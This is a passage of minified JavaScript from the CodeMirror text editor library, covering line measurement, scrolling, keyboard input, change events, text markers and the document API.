i,o=t.view[r];if(!o.hidden){if(is&&8>os){var s=o.node.offsetTop+o.node.offsetHeight;i=s-n;n=s}else{var a=o.node.getBoundingClientRect();i=a.bottom-a.top}var l=o.line.height-i;2>i&&(i=nn(t));if(l>.001||-.001>l){qi(o.line,i);O(o.line);if(o.rest)for(var u=0;u<o.rest.length;u++)O(o.rest[u])}}}}function O(e){if(e.widgets)for(var t=0;t<e.widgets.length;++t)e.widgets[t].height=e.widgets[t].node.offsetHeight}function D(e){for(var t=e.display,n={},r={},i=t.gutters.clientLeft,o=t.gutters.firstChild,s=0;o;o=o.nextSibling,++s){n[e.options.gutters[s]]=o.offsetLeft+o.clientLeft+i;r[e.options.gutters[s]]=o.clientWidth}return{fixedPos:N(t),gutterTotalWidth:t.gutters.offsetWidth,gutterLeft:n,gutterWidth:r,wrapperWidth:t.wrapper.clientWidth}}function k(e,t,n){function r(t){var n=t.nextSibling;ss&&ms&&e.display.currentWheelTarget==t?t.style.display="none":t.parentNode.removeChild(t);return n}for(var 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e.lineSpace.offsetTop}function wt(e){return e.mover.offsetHeight-e.lineSpace.offsetHeight}function Rt(e){if(e.cachedPaddingH)return e.cachedPaddingH;var t=_o(e.measure,wo("pre","x")),n=window.getComputedStyle?window.getComputedStyle(t):t.currentStyle,r={left:parseInt(n.paddingLeft),right:parseInt(n.paddingRight)};isNaN(r.left)||isNaN(r.right)||(e.cachedPaddingH=r);return r}function _t(e){return ya-e.display.nativeBarWidth}function Ot(e){return e.display.scroller.clientWidth-_t(e)-e.display.barWidth}function Dt(e){return e.display.scroller.clientHeight-_t(e)-e.display.barHeight}function kt(e,t,n){var r=e.options.lineWrapping,i=r&&Ot(e);if(!t.measure.heights||r&&t.measure.width!=i){var o=t.measure.heights=[];if(r){t.measure.width=i;for(var s=t.text.firstChild.getClientRects(),a=0;a<s.length-1;a++){var l=s[a],u=s[a+1];Math.abs(l.bottom-u.bottom)>2&&o.push((l.bottom+u.top)/2-n.top)}}o.push(n.bottom-n.top)}}function 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n=screen.logicalXDPI/screen.deviceXDPI,r=screen.logicalYDPI/screen.deviceYDPI;return{left:t.left*n,right:t.right*n,top:t.top*r,bottom:t.bottom*r}}function Ht(e){if(e.measure){e.measure.cache={};e.measure.heights=null;if(e.rest)for(var t=0;t<e.rest.length;t++)e.measure.caches[t]={}}}function Vt(e){e.display.externalMeasure=null;Ro(e.display.lineMeasure);for(var t=0;t<e.display.view.length;t++)Ht(e.display.view[t])}function zt(e){Vt(e);e.display.cachedCharWidth=e.display.cachedTextHeight=e.display.cachedPaddingH=null;e.options.lineWrapping||(e.display.maxLineChanged=!0);e.display.lineNumChars=null}function Wt(){return window.pageXOffset||(document.documentElement||document.body).scrollLeft}function $t(){return window.pageYOffset||(document.documentElement||document.body).scrollTop}function Xt(e,t,n,r){if(t.widgets)for(var i=0;i<t.widgets.length;++i)if(t.widgets[i].above){var o=di(t.widgets[i]);n.top+=o;n.bottom+=o}if("line"==r)return n;r||(r="local");var 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t=e.cm,n=t.display,r=t.doc;e.updatedDisplay&&I(t,e.update);null==n.wheelStartX||null==e.scrollTop&&null==e.scrollLeft&&!e.scrollToPos||(n.wheelStartX=n.wheelStartY=null);if(null!=e.scrollTop&&(n.scroller.scrollTop!=e.scrollTop||e.forceScroll)){r.scrollTop=Math.max(0,Math.min(n.scroller.scrollHeight-n.scroller.clientHeight,e.scrollTop));n.scrollbars.setScrollTop(r.scrollTop);n.scroller.scrollTop=r.scrollTop}if(null!=e.scrollLeft&&(n.scroller.scrollLeft!=e.scrollLeft||e.forceScroll)){r.scrollLeft=Math.max(0,Math.min(n.scroller.scrollWidth-Ot(t),e.scrollLeft));n.scrollbars.setScrollLeft(r.scrollLeft);n.scroller.scrollLeft=r.scrollLeft;b(t)}if(e.scrollToPos){var i=br(t,tt(r,e.scrollToPos.from),tt(r,e.scrollToPos.to),e.scrollToPos.margin);e.scrollToPos.isCursor&&t.state.focused&&xr(t,i)}var o=e.maybeHiddenMarkers,s=e.maybeUnhiddenMarkers;if(o)for(var a=0;a<o.length;++a)o[a].lines.length||va(o[a],"hide");if(s)for(var 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t=e.display.input,n=e.display.prevInput,r=e.doc;if(!e.state.focused||ja(t)&&!n||Dn(e)||e.options.disableInput||e.state.keySeq)return!1;if(e.state.pasteIncoming&&e.state.fakedLastChar){t.value=t.value.substring(0,t.value.length-1);e.state.fakedLastChar=!1}var i=t.value;if(i==n&&!e.somethingSelected())return!1;if(is&&os>=9&&e.display.inputHasSelection===i||ms&&/[\uf700-\uf7ff]/.test(i)){Rn(e);return!1}var o=!e.curOp;o&&on(e);e.display.shift=!1;8203!=i.charCodeAt(0)||r.sel!=e.display.selForContextMenu||n||(n="");for(var s=0,a=Math.min(n.length,i.length);a>s&&n.charCodeAt(s)==i.charCodeAt(s);)++s;var l=i.slice(s),u=Ma(l),c=null;e.state.pasteIncoming&&r.sel.ranges.length>1&&(_s&&_s.join("\n")==l?c=r.sel.ranges.length%_s.length==0&&To(_s,Ma):u.length==r.sel.ranges.length&&(c=To(u,function(e){return[e]})));for(var p=r.sel.ranges.length-1;p>=0;p--){var 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if(!fo(e,t)&&!Pn(e.display,t)){t.dataTransfer.setData("Text",e.getSelection());if(t.dataTransfer.setDragImage&&!cs){var n=wo("img",null,null,"position: fixed; left: 0; top: 0;");n.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";if(us){n.width=n.height=1;e.display.wrapper.appendChild(n);n._top=n.offsetTop}t.dataTransfer.setDragImage(n,0,0);us&&n.parentNode.removeChild(n)}}}function Wn(e,t){if(!(Math.abs(e.doc.scrollTop-t)<2)){e.doc.scrollTop=t;ts||w(e,{top:t});e.display.scroller.scrollTop!=t&&(e.display.scroller.scrollTop=t);e.display.scrollbars.setScrollTop(t);ts&&w(e);Nt(e,100)}}function $n(e,t,n){if(!(n?t==e.doc.scrollLeft:Math.abs(e.doc.scrollLeft-t)<2)){t=Math.min(t,e.display.scroller.scrollWidth-e.display.scroller.clientWidth);e.doc.scrollLeft=t;b(e);e.display.scroller.scrollLeft!=t&&(e.display.scroller.scrollLeft=t);e.display.scrollbars.setScrollLeft(t)}}function Xn(e,t){var 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e=s.scrollLeft-o.wheelStartX,t=s.scrollTop-o.wheelStartY,n=t&&o.wheelDY&&t/o.wheelDY||e&&o.wheelDX&&e/o.wheelDX;o.wheelStartX=o.wheelStartY=null;if(n){ks=(ks*Ds+n)/(Ds+1);++Ds}}},200)}else{o.wheelDX+=r;o.wheelDY+=i}}else{i&&Wn(e,Math.max(0,Math.min(s.scrollTop+i*ks,s.scrollHeight-s.clientHeight)));$n(e,Math.max(0,Math.min(s.scrollLeft+r*ks,s.scrollWidth-s.clientWidth)));da(t);o.wheelStartX=null}}}function Kn(e,t,n){if("string"==typeof t){t=Ks[t];if(!t)return!1}e.display.pollingFast&&wn(e)&&(e.display.pollingFast=!1);var r=e.display.shift,i=!1;try{Dn(e)&&(e.state.suppressEdits=!0);n&&(e.display.shift=!1);i=t(e)!=xa}finally{e.display.shift=r;e.state.suppressEdits=!1}return i}function Yn(e,t,n){for(var r=0;r<e.state.keyMaps.length;r++){var i=Qs(t,e.state.keyMaps[r],n,e);if(i)return i}return e.options.extraKeys&&Qs(t,e.options.extraKeys,n,e)||Qs(t,e.options.keyMap,n,e)}function Qn(e,t,n,r){var i=e.state.keySeq;if(i){if(Js(t))return"handled";Ps.set(50,function(){if(e.state.keySeq==i){e.state.keySeq=null;Rn(e)}});t=i+" "+t}var o=Yn(e,t,r);"multi"==o&&(e.state.keySeq=t);"handled"==o&&co(e,"keyHandled",e,t,n);if("handled"==o||"multi"==o){da(n);St(e)}if(i&&!o&&/\'$/.test(t)){da(n);return!0}return!!o}function Jn(e,t){var n=Zs(t,!0);return n?t.shiftKey&&!e.state.keySeq?Qn(e,"Shift-"+n,t,function(t){return Kn(e,t,!0)})||Qn(e,n,t,function(t){return("string"==typeof t?/^go[A-Z]/.test(t):t.motion)?Kn(e,t):void 0}):Qn(e,n,t,function(t){return Kn(e,t)}):!1}function Zn(e,t,n){return Qn(e,"'"+n+"'",t,function(t){return Kn(e,t,!0)})}function er(e){var t=this;On(t);if(!fo(t,e)){is&&11>os&&27==e.keyCode&&(e.returnValue=!1);var n=e.keyCode;t.display.shift=16==n||e.shiftKey;var r=Jn(t,e);if(us){Ms=r?n:null;!r&&88==n&&!Ga&&(ms?e.metaKey:e.ctrlKey)&&t.replaceSelection("",null,"cut")}18!=n||/\bCodeMirror-crosshair\b/.test(t.display.lineDiv.className)||tr(t)}}function tr(e){function t(e){if(18==e.keyCode||!e.altKey){Da(n,"CodeMirror-crosshair");ma(document,"keyup",t);ma(document,"mouseover",t)}}var n=e.display.lineDiv;ka(n,"CodeMirror-crosshair");ga(document,"keyup",t);ga(document,"mouseover",t)}function nr(e){16==e.keyCode&&(this.doc.sel.shift=!1);fo(this,e)}function rr(e){var t=this;if(!(fo(t,e)||e.ctrlKey&&!e.altKey||ms&&e.metaKey)){var n=e.keyCode,r=e.charCode;if(us&&n==Ms){Ms=null;da(e)}else if(!(us&&(!e.which||e.which<10)||ps)||!Jn(t,e)){var i=String.fromCharCode(null==r?n:r);if(!Zn(t,e,i)){is&&os>=9&&(t.display.inputHasSelection=null);In(t)}}}}function ir(e){if("nocursor"!=e.options.readOnly){if(!e.state.focused){va(e,"focus",e);e.state.focused=!0;ka(e.display.wrapper,"CodeMirror-focused");if(!e.curOp&&e.display.selForContextMenu!=e.doc.sel){Rn(e);ss&&setTimeout(Co(Rn,e,!0),0)}}An(e);St(e)}}function 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a=e.options.resetSelectionOnContextMenu;a&&-1==e.doc.sel.contains(o)&&gn(e,dt)(e.doc,Z(o),ba);var l=i.input.style.cssText;i.inputDiv.style.position="absolute";i.input.style.cssText="position: fixed; width: 30px; height: 30px; top: "+(t.clientY-5)+"px; left: "+(t.clientX-5)+"px; z-index: 1000; background: "+(is?"rgba(255, 255, 255, .05)":"transparent")+"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";if(ss)var u=window.scrollY;_n(e);ss&&window.scrollTo(null,u);Rn(e);e.somethingSelected()||(i.input.value=i.prevInput=" ");i.contextMenuPending=!0;i.selForContextMenu=e.doc.sel;clearTimeout(i.detectingSelectAll);is&&os>=9&&n();if(xs){ha(t);var c=function(){ma(window,"mouseup",c);setTimeout(r,20)};ga(window,"mouseup",c)}else setTimeout(r,50)}}}}function ar(e,t){return go(e,"gutterContextMenu")?Un(e,t,"gutterContextMenu",!1,va):!1}function lr(e,t){if(Ns(e,t.from)<0)return e;if(Ns(e,t.to)<=0)return js(t);var n=e.line+t.text.length-(t.to.line-t.from.line)-1,r=e.ch;e.line==t.to.line&&(r+=js(t).ch-t.to.ch);return Ss(n,r)}function ur(e,t){for(var n=[],r=0;r<e.sel.ranges.length;r++){var i=e.sel.ranges[r];n.push(new Q(lr(i.anchor,t),lr(i.head,t)))}return J(n,e.sel.primIndex)}function cr(e,t,n){return e.line==t.line?Ss(n.line,e.ch-t.ch+n.ch):Ss(n.line+(e.line-t.line),e.ch)}function pr(e,t,n){for(var r=[],i=Ss(e.first,0),o=i,s=0;s<t.length;s++){var a=t[s],l=cr(a.from,i,o),u=cr(js(a),i,o);i=a.to;o=u;if("around"==n){var c=e.sel.ranges[s],p=Ns(c.head,c.anchor)<0;r[s]=new Q(p?u:l,p?l:u)}else r[s]=new Q(l,l)}return new Y(r,e.sel.primIndex)}function dr(e,t,n){var r={canceled:!1,from:t.from,to:t.to,text:t.text,origin:t.origin,cancel:function(){this.canceled=!0}};n&&(r.update=function(t,n,r,i){t&&(this.from=tt(e,t));n&&(this.to=tt(e,n));r&&(this.text=r);void 0!==i&&(this.origin=i)});va(e,"beforeChange",e,r);e.cm&&va(e.cm,"beforeChange",e.cm,r);return r.canceled?null:{from:r.from,to:r.to,text:r.text,origin:r.origin}}function fr(e,t,n){if(e.cm){if(!e.cm.curOp)return gn(e.cm,fr)(e,t,n);if(e.cm.state.suppressEdits)return}if(go(e,"beforeChange")||e.cm&&go(e.cm,"beforeChange")){t=dr(e,t,!0);if(!t)return}var r=bs&&!n&&Kr(e,t.from,t.to);if(r)for(var i=r.length-1;i>=0;--i)hr(e,{from:r[i].from,to:r[i].to,text:i?[""]:t.text});else hr(e,t)}function hr(e,t){if(1!=t.text.length||""!=t.text[0]||0!=Ns(t.from,t.to)){var n=ur(e,t);Yi(e,t,n,e.cm?e.cm.curOp.id:0/0);vr(e,t,n,Wr(e,t));var r=[];Pi(e,function(e,n){if(!n&&-1==bo(r,e.history)){so(e.history,t);r.push(e.history)}vr(e,t,null,Wr(e,t))})}}function gr(e,t,n){if(!e.cm||!e.cm.state.suppressEdits){for(var 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r=e.doc,i=e.display,s=t.from,a=t.to,l=!1,u=s.line;if(!e.options.lineWrapping){u=Ui(oi(ji(r,s.line)));r.iter(u,a.line+1,function(e){if(e==i.maxLine){l=!0;return!0}})}r.sel.contains(t.from,t.to)>-1&&ho(e);Di(r,t,n,o(e));if(!e.options.lineWrapping){r.iter(u,s.line+t.text.length,function(e){var t=p(e);if(t>i.maxLineLength){i.maxLine=e;i.maxLineLength=t;i.maxLineChanged=!0;l=!1}});l&&(e.curOp.updateMaxLine=!0)}r.frontier=Math.min(r.frontier,s.line);Nt(e,400);var c=t.text.length-(a.line-s.line)-1;t.full?xn(e):s.line!=a.line||1!=t.text.length||Oi(e.doc,t)?xn(e,s.line,a.line+1,c):bn(e,s.line,"text");var d=go(e,"changes"),f=go(e,"change");if(f||d){var h={from:s,to:a,text:t.text,removed:t.removed,origin:t.origin};f&&co(e,"change",e,h);d&&(e.curOp.changeObjs||(e.curOp.changeObjs=[])).push(h)}e.display.selForContextMenu=null}function yr(e,t,n,r,i){r||(r=n);if(Ns(r,n)<0){var o=r;r=n;n=o}"string"==typeof t&&(t=Ma(t));fr(e,{from:n,to:r,text:t,origin:i})}function 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o=[Fr(e,t,n,r,i)],s=o[0],a=r.widgetNode;Pi(e,function(e){a&&(r.widgetNode=a.cloneNode(!0));o.push(Fr(e,tt(e,t),tt(e,n),r,i));for(var l=0;l<e.linked.length;++l)if(e.linked[l].isParent)return;s=xo(o)});return new ra(o,s)}function Mr(e){return e.findMarks(Ss(e.first,0),e.clipPos(Ss(e.lastLine())),function(e){return e.parent})}function jr(e,t){for(var n=0;n<t.length;n++){var r=t[n],i=r.find(),o=e.clipPos(i.from),s=e.clipPos(i.to);if(Ns(o,s)){var a=Fr(e,o,s,r.primary,r.primary.type);r.markers.push(a);a.parent=r}}}function Gr(e){for(var t=0;t<e.length;t++){var n=e[t],r=[n.primary.doc];Pi(n.primary.doc,function(e){r.push(e)});for(var i=0;i<n.markers.length;i++){var o=n.markers[i];if(-1==bo(r,o.doc)){o.parent=null;n.markers.splice(i--,1)}}}}function Br(e,t,n){this.marker=e;this.from=t;this.to=n}function qr(e,t){if(e)for(var n=0;n<e.length;++n){var r=e[n];if(r.marker==t)return r}}function Ur(e,t){for(var n,r=0;r<e.length;++r)e[r]!=t&&(n||(n=[])).push(e[r]);return n}function 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i=t.from.ch,o=t.to.ch,s=0==Ns(t.from,t.to),a=Vr(n,i,s),l=zr(r,o,s),u=1==t.text.length,c=xo(t.text).length+(u?i:0);if(a)for(var p=0;p<a.length;++p){var d=a[p];if(null==d.to){var f=qr(l,d.marker);f?u&&(d.to=null==f.to?null:f.to+c):d.to=i}}if(l)for(var p=0;p<l.length;++p){var d=l[p];null!=d.to&&(d.to+=c);if(null==d.from){var f=qr(a,d.marker);if(!f){d.from=c;u&&(a||(a=[])).push(d)}}else{d.from+=c;u&&(a||(a=[])).push(d)}}a&&(a=$r(a));l&&l!=a&&(l=$r(l));var h=[a];if(!u){var g,m=t.text.length-2;if(m>0&&a)for(var p=0;p<a.length;++p)null==a[p].to&&(g||(g=[])).push(new Br(a[p].marker,null,null));for(var p=0;m>p;++p)h.push(g);h.push(l)}return h}function $r(e){for(var t=0;t<e.length;++t){var n=e[t];null!=n.from&&n.from==n.to&&n.marker.clearWhenEmpty!==!1&&e.splice(t--,1)}return e.length?e:null}function Xr(e,t){var n=no(e,t),r=Wr(e,t);if(!n)return r;if(!r)return n;for(var i=0;i<n.length;++i){var o=n[i],s=r[i];if(o&&s)e:for(var a=0;a<s.length;++a){for(var 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this.string.slice(this.start,this.pos)},hideFirstChars:function(e,t){this.lineStart+=e;try{return t()}finally{this.lineStart-=e}}};var ta=e.TextMarker=function(e,t){this.lines=[];this.type=t;this.doc=e};mo(ta);ta.prototype.clear=function(){if(!this.explicitlyCleared){var e=this.doc.cm,t=e&&!e.curOp;t&&on(e);if(go(this,"clear")){var n=this.find();n&&co(this,"clear",n.from,n.to)}for(var r=null,i=null,o=0;o<this.lines.length;++o){var s=this.lines[o],a=qr(s.markedSpans,this);if(e&&!this.collapsed)bn(e,Ui(s),"text");else if(e){null!=a.to&&(i=Ui(s));null!=a.from&&(r=Ui(s))}s.markedSpans=Ur(s.markedSpans,a);null==a.from&&this.collapsed&&!ui(this.doc,s)&&e&&qi(s,nn(e.display))}if(e&&this.collapsed&&!e.options.lineWrapping)for(var o=0;o<this.lines.length;++o){var l=oi(this.lines[o]),u=p(l);if(u>e.display.maxLineLength){e.display.maxLine=l;e.display.maxLineLength=u;e.display.maxLineChanged=!0}}null!=r&&e&&this.collapsed&&xn(e,r,i+1);this.lines.length=0;this.explicitlyCleared=!0;if(this.atomic&&this.doc.cantEdit){this.doc.cantEdit=!1;e&>(e.doc)}e&&co(e,"markerCleared",e,this);t&&an(e);this.parent&&this.parent.clear()}};ta.prototype.find=function(e,t){null==e&&"bookmark"==this.type&&(e=1);for(var n,r,i=0;i<this.lines.length;++i){var o=this.lines[i],s=qr(o.markedSpans,this);if(null!=s.from){n=Ss(t?o:Ui(o),s.from);if(-1==e)return n}if(null!=s.to){r=Ss(t?o:Ui(o),s.to);if(1==e)return r}}return n&&{from:n,to:r}};ta.prototype.changed=function(){var e=this.find(-1,!0),t=this,n=this.doc.cm;e&&n&&hn(n,function(){var r=e.line,i=Ui(e.line),o=jt(n,i);if(o){Ht(o);n.curOp.selectionChanged=n.curOp.forceUpdate=!0}n.curOp.updateMaxLine=!0;if(!ui(t.doc,r)&&null!=t.height){var s=t.height;t.height=null;var a=di(t)-s;a&&qi(r,r.height+a)}})};ta.prototype.attachLine=function(e){if(!this.lines.length&&this.doc.cm){var t=this.doc.cm.curOp;t.maybeHiddenMarkers&&-1!=bo(t.maybeHiddenMarkers,this)||(t.maybeUnhiddenMarkers||(t.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(e)};ta.prototype.detachLine=function(e){this.lines.splice(bo(this.lines,e),1);if(!this.lines.length&&this.doc.cm){var t=this.doc.cm.curOp;(t.maybeHiddenMarkers||(t.maybeHiddenMarkers=[])).push(this)}};var na=0,ra=e.SharedTextMarker=function(e,t){this.markers=e;this.primary=t;for(var n=0;n<e.length;++n)e[n].parent=this};mo(ra);ra.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var e=0;e<this.markers.length;++e)this.markers[e].clear();co(this,"clear")}};ra.prototype.find=function(e,t){return this.primary.find(e,t)};var ia=e.LineWidget=function(e,t,n){if(n)for(var r in n)n.hasOwnProperty(r)&&(this[r]=n[r]);this.cm=e;this.node=t};mo(ia);ia.prototype.clear=function(){var e=this.cm,t=this.line.widgets,n=this.line,r=Ui(n);if(null!=r&&t){for(var i=0;i<t.length;++i)t[i]==this&&t.splice(i--,1);t.length||(n.widgets=null);var o=di(this);hn(e,function(){pi(e,n,-o);bn(e,r,"widget");qi(n,Math.max(0,n.height-o))})}};ia.prototype.changed=function(){var e=this.height,t=this.cm,n=this.line;this.height=null;var r=di(this)-e;r&&hn(t,function(){t.curOp.forceUpdate=!0;pi(t,n,r);qi(n,n.height+r)})};var oa=e.Line=function(e,t,n){this.text=e;Qr(this,t);this.height=n?n(this):1};mo(oa);oa.prototype.lineNo=function(){return Ui(this)};var sa={},aa={};ki.prototype={chunkSize:function(){return this.lines.length},removeInner:function(e,t){for(var n=e,r=e+t;r>n;++n){var i=this.lines[n];this.height-=i.height;gi(i);co(i,"delete")}this.lines.splice(e,t)},collapse:function(e){e.push.apply(e,this.lines)},insertInner:function(e,t,n){this.height+=n;this.lines=this.lines.slice(0,e).concat(t).concat(this.lines.slice(e));for(var r=0;r<t.length;++r)t[r].parent=this},iterN:function(e,t,n){for(var r=e+t;r>e;++e)if(n(this.lines[e]))return!0}};Fi.prototype={chunkSize:function(){return this.size},removeInner:function(e,t){this.size-=t;for(var n=0;n<this.children.length;++n){var r=this.children[n],i=r.chunkSize();if(i>e){var o=Math.min(t,i-e),s=r.height;r.removeInner(e,o);this.height-=s-r.height;if(i==o){this.children.splice(n--,1);r.parent=null}if(0==(t-=o))break;e=0}else e-=i}if(this.size-t<25&&(this.children.length>1||!(this.children[0]instanceof ki))){var a=[];this.collapse(a);this.children=[new ki(a)];this.children[0].parent=this}},collapse:function(e){for(var t=0;t<this.children.length;++t)this.children[t].collapse(e)},insertInner:function(e,t,n){this.size+=t.length;this.height+=n;for(var r=0;r<this.children.length;++r){var i=this.children[r],o=i.chunkSize();if(o>=e){i.insertInner(e,t,n);if(i.lines&&i.lines.length>50){for(;i.lines.length>50;){var s=i.lines.splice(i.lines.length-25,25),a=new ki(s);i.height-=a.height;this.children.splice(r+1,0,a);a.parent=this}this.maybeSpill()}break}e-=o}},maybeSpill:function(){if(!(this.children.length<=10)){var e=this;do{var t=e.children.splice(e.children.length-5,5),n=new Fi(t);if(e.parent){e.size-=n.size;e.height-=n.height;var r=bo(e.parent.children,e);e.parent.children.splice(r+1,0,n)}else{var i=new Fi(e.children);i.parent=e;e.children=[i,n];e=i}n.parent=e.parent}while(e.children.length>10);e.parent.maybeSpill()}},iterN:function(e,t,n){for(var r=0;r<this.children.length;++r){var i=this.children[r],o=i.chunkSize();if(o>e){var s=Math.min(t,o-e);if(i.iterN(e,s,n))return!0;if(0==(t-=s))break;e=0}else e-=o}}};var la=0,ua=e.Doc=function(e,t,n){if(!(this instanceof ua))return new ua(e,t,n);null==n&&(n=0);Fi.call(this,[new ki([new oa("",null)])]);this.first=n;this.scrollTop=this.scrollLeft=0;this.cantEdit=!1;this.cleanGeneration=1;this.frontier=n;var r=Ss(n,0);this.sel=Z(r);this.history=new Wi(null);this.id=++la;this.modeOption=t;"string"==typeof e&&(e=Ma(e));Di(this,{from:r,to:r,text:e});dt(this,Z(r),ba)};ua.prototype=So(Fi.prototype,{constructor:ua,iter:function(e,t,n){n?this.iterN(e-this.first,t-e,n):this.iterN(this.first,this.first+this.size,e)},insert:function(e,t){for(var n=0,r=0;r<t.length;++r)n+=t[r].height;this.insertInner(e-this.first,t,n)},remove:function(e,t){this.removeInner(e-this.first,t)},getValue:function(e){var t=Bi(this,this.first,this.first+this.size);return e===!1?t:t.join(e||"\n")},setValue:vn(function(e){var t=Ss(this.first,0),n=this.first+this.size-1;fr(this,{from:t,to:Ss(n,ji(this,n).text.length),text:Ma(e),origin:"setValue",full:!0},!0);dt(this,Z(t))}),replaceRange:function(e,t,n,r){t=tt(this,t);n=n?tt(this,n):t;yr(this,e,t,n,r)},getRange:function(e,t,n){var r=Gi(this,tt(this,e),tt(this,t));return n===!1?r:r.join(n||"\n")},getLine:function(e){var t=this.getLineHandle(e);return t&&t.text},getLineHandle:function(e){return rt(this,e)?ji(this,e):void 0},getLineNumber:function(e){return Ui(e)},getLineHandleVisualStart:function(e){"number"==typeof e&&(e=ji(this,e));return oi(e)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(e){return tt(this,e)},getCursor:function(e){var t,n=this.sel.primary();t=null==e||"head"==e?n.head:"anchor"==e?n.anchor:"end"==e||"to"==e||e===!1?n.to():n.from();return t},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:vn(function(e,t,n){ut(this,tt(this,"number"==typeof e?Ss(e,t||0):e),null,n)}),setSelection:vn(function(e,t,n){ut(this,tt(this,e),tt(this,t||e),n)}),extendSelection:vn(function(e,t,n){st(this,tt(this,e),t&&tt(this,t),n)}),extendSelections:vn(function(e,t){at(this,it(this,e,t))}),extendSelectionsBy:vn(function(e,t){at(this,To(this.sel.ranges,e),t)}),setSelections:vn(function(e,t,n){if(e.length){for(var r=0,i=[];r<e.length;r++)i[r]=new Q(tt(this,e[r].anchor),tt(this,e[r].head));null==t&&(t=Math.min(e.length-1,this.sel.primIndex));dt(this,J(i,t),n)}}),addSelection:vn(function(e,t,n){var r=this.sel.ranges.slice(0);r.push(new Q(tt(this,e),tt(this,t||e)));dt(this,J(r,r.length-1),n)}),getSelection:function(e){for(var t,n=this.sel.ranges,r=0;r<n.length;r++){var i=Gi(this,n[r].from(),n[r].to());t=t?t.concat(i):i}return e===!1?t:t.join(e||"\n")},getSelections:function(e){for(var t=[],n=this.sel.ranges,r=0;r<n.length;r++){var i=Gi(this,n[r].from(),n[r].to());e!==!1&&(i=i.join(e||"\n"));t[r]=i}return t},replaceSelection:function(e,t,n){for(var r=[],i=0;i<this.sel.ranges.length;i++)r[i]=e;this.replaceSelections(r,t,n||"+input")},replaceSelections:vn(function(e,t,n){for(var r=[],i=this.sel,o=0;o<i.ranges.length;o++){var s=i.ranges[o];r[o]={from:s.from(),to:s.to(),text:Ma(e[o]),origin:n}}for(var a=t&&"end"!=t&&pr(this,r,t),o=r.length-1;o>=0;o--)fr(this,r[o]);a?pt(this,a):this.cm&&Cr(this.cm)}),undo:vn(function(){gr(this,"undo")}),redo:vn(function(){gr(this,"redo")}),undoSelection:vn(function(){gr(this,"undo",!0)}),redoSelection:vn(function(){gr(this,"redo",!0)}),setExtending:function(e){this.extend=e},getExtending:function(){return this.extend},historySize:function(){for(var e=this.history,t=0,n=0,r=0;r<e.done.length;r++)e.done[r].ranges||++t;for(var r=0;r<e.undone.length;r++)e.undone[r].ranges||++n;return{undo:t,redo:n}},clearHistory:function(){this.history=new Wi(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(e){e&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null);return this.history.generation},isClean:function(e){return this.history.generation==(e||this.cleanGeneration)
},getHistory:function(){return{done:ro(this.history.done),undone:ro(this.history.undone)}},setHistory:function(e){var t=this.history=new Wi(this.history.maxGeneration);t.done=ro(e.done.slice(0),null,!0);t.undone=ro(e.undone.slice(0),null,!0)},addLineClass:vn(function(e,t,n){return Ir(this,e,"gutter"==t?"gutter":"class",function(e){var r="text"==t?"textClass":"background"==t?"bgClass":"gutter"==t?"gutterClass":"wrapClass";if(e[r]){if(ko(n).test(e[r]))return!1;e[r]+=" "+n}else e[r]=n;return!0})}),removeLineClass:vn(function(e,t,n){return Ir(this,e,"gutter"==t?"gutter":"class",function(e){var r="text"==t?"textClass":"background"==t?"bgClass":"gutter"==t?"gutterClass":"wrapClass",i=e[r];if(!i)return!1;if(null==n)e[r]=null;else{var o=i.match(ko(n));if(!o)return!1;var s=o.index+o[0].length;e[r]=i.slice(0,o.index)+(o.index&&s!=i.length?" ":"")+i.slice(s)||null}return!0})}),markText:function(e,t,n){return Fr(this,tt(this,e),tt(this,t),n,"range")},setBookmark:function(e,t){var n={replacedWith:t&&(null==t.nodeType?t.widget:t),insertLeft:t&&t.insertLeft,clearWhenEmpty:!1,shared:t&&t.shared};e=tt(this,e);return Fr(this,e,e,n,"bookmark")},findMarksAt:function(e){e=tt(this,e);var t=[],n=ji(this,e.line).markedSpans;if(n)for(var r=0;r<n.length;++r){var i=n[r];(null==i.from||i.from<=e.ch)&&(null==i.to||i.to>=e.ch)&&t.push(i.marker.parent||i.marker)}return t},findMarks:function(e,t,n){e=tt(this,e);t=tt(this,t);var r=[],i=e.line;this.iter(e.line,t.line+1,function(o){var s=o.markedSpans;if(s)for(var a=0;a<s.length;a++){var l=s[a];i==e.line&&e.ch>l.to||null==l.from&&i!=e.line||i==t.line&&l.from>t.ch||n&&!n(l.marker)||r.push(l.marker.parent||l.marker)}++i});return r},getAllMarks:function(){var e=[];this.iter(function(t){var n=t.markedSpans;if(n)for(var r=0;r<n.length;++r)null!=n[r].from&&e.push(n[r].marker)});return e},posFromIndex:function(e){var t,n=this.first;this.iter(function(r){var i=r.text.length+1;if(i>e){t=e;return!0}e-=i;++n});return tt(this,Ss(n,t))},indexFromPos:function(e){e=tt(this,e);var t=e.ch;if(e.line<this.first||e.ch<0)return 0;this.iter(this.first,e.line,function(e){t+=e.text.length+1});return t},copy:function(e){var t=new ua(Bi(this,this.first,this.first+this.size),this.modeOption,this.first);t.scrollTop=this.scrollTop;t.scrollLeft=this.scrollLeft;t.sel=this.sel;t.extend=!1;if(e){t.history.undoDepth=this.history.undoDepth;t.setHistory(this.getHistory())}return t},linkedDoc:function(e){e||(e={});var t=this.first,n=this.first+this.size;null!=e.from&&e.from>t&&(t=e.from);null!=e.to&&e.to<n&&(n=e.to);var r=new ua(Bi(this,t,n),e.mode||this.modeOption,t);e.sharedHist&&(r.history=this.history);(this.linked||(this.linked=[])).push({doc:r,sharedHist:e.sharedHist});r.linked=[{doc:this,isParent:!0,sharedHist:e.sharedHist}];jr(r,Mr(this));return r},unlinkDoc:function(t){t instanceof e&&(t=t.doc);if(this.linked)for(var n=0;n<this.linked.length;++n){var r=this.linked[n];if(r.doc==t){this.linked.splice(n,1);t.unlinkDoc(this);Gr(Mr(this));break}}if(t.history==this.history){var i=[t.id];Pi(t,function(e){i.push(e.id)},!0);t.history=new 